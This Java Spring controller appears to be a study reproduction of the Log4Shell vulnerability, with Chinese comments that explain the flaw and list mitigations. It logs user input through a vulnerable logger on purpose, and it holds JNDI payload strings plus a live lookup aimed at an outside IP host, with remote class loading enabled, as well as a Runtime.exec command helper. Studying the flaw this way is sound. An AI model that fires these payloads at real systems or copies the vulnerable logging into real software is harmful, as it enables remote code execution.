package com.technology.ctrm;

import lombok.extern.log4j.Log4j;
import lombok.extern.log4j.Log4j2;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.time.LocalDateTime;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

@RestController
//@Log4j2
public class CtrmController {
	private static final Logger logger = LogManager.getLogger(CtrmController.class);

	@RequestMapping("/test")
	public Map test() {
		logger.info("testCtrmController,com.sun.jndi.ldap.object.trustURLCodebase:{}", System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));
		return null;
	}

	@RequestMapping("/user")
	public Map findUserInfo(@RequestBody final String id) {
//		http://localhost:8080/user?id=${jndi:ldap://39.107.88.69:8888/Exploit}

//		String inputStr = "${jndi:ldap://39.107.88.69:8888/Exploit}";
//		String inputStr = "${jndi:rmi://39.107.88.69:7777/testObj}";
//		log.info("CtrmController.findUserInfo inputParam:{}", id);
		logger.info("CtrmController.findUserInfo inputParam:{}", id);
//		问题：当启用消息查找替换功能时，可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码;
//		处理方式：2.15.0尽最大努力将JNDI LDAP查找限制为localhost
//		业务解决方案：
		// 方法1:禁用msg输出时进行lookup(开关太大/局限性)  系统属性log4j2.formatMsgNoLookups=true or 环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true(重启IDEA) or PatternLayout %msg{nolookups}
		// System.out.println(System.getenv("LOG4J_FORMAT_MSG_NO_LOOKUPS"));
		// 方法2:log4j-core升级到2.17.0(2.0.15虽然修复了但是有新问题) 分JDK版本升级到指定版本
		// 方法3:业务系统网关层做全局过滤/日志切面  改动量大

		// debug:PatternSerializer#toSerializable >> MessagePatternConverter >>  StrSubstitutor.substitute >>  StrLookup.lookup 56  JndiManager初始化了InitialContext.lookup
		return new HashMap() {{
			put("id", id);
			put("timestamp", LocalDateTime.now());
		}};
	}

	private static void testJNDI() {
		//JNDI 指定LADP服务资源及上下文,查找标识关联的RMI服务
		System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //jdk1.8.0_311需要设置
		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); //jdk1.8.0_311需要设置
//		Hashtable<String, Object> env = new Hashtable<>();
//		env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
		String jndiUri = "ldap://39.107.88.69:8888/Exploit";
//		String jndiUri = "rmi://39.107.88.69:7777/testObj";
		InitialContext initialContext = null;
		try {
			initialContext = new InitialContext();
			Object lookup = initialContext.lookup(jndiUri);
			System.out.println(lookup);
		} catch (NamingException e) {
			e.printStackTrace();
		}
	}

	public static void main(String[] args) {
		String command = "cmd /c start"; // 窗口关闭线程终止
//		String command = "cmd /k start C:\\Windows\\System32\\calc.exe";
//		testEvalShell(command);


		testJNDI();
	}

	/**
	 * 了解下Runtime类执行脚本
	 */
	private static String testEvalShell(String cmd) {
		try {
			StringBuilder sb = new StringBuilder();
			BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
			BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
			String lineStr;
			while ((lineStr = inBr.readLine()) != null) {
				sb.append(lineStr).append("\n");
			}
			inBr.close();
			in.close();
			return sb.toString();
		} catch (Exception e) {
			return "";
		}
	}
}
